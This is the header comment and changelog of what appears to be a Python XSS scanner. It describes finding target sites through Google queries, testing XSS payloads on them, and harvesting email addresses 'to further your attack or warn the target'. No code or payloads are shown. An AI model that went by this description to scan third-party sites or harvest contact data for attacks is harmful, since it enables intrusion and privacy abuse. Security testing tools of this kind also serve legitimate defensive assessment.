#XSS Scanner that can find hosts using a google query or search one site.
#If XSS is found it attempts to collect email addresses to further your attack
#or warn the target of the flaw. When the scan is complete
#it will print out the XSS's found and or write to file, it will find false positives
#so manually check before getting to excited. It also has verbose mode and
#you can change the alert pop-up message, check options!!
#
#Changelog v1.1: added options, verbose, write to file, change alert
#Changelog v1.2: added more xss payloads, an exception, better syntax, more runtime feedback
#Changelog v1.3: added https support, more xss payloads, the ability to change port, fixed some user input #problems, exiting without error messages with Ctrl-C (KeyboardInterrupt)
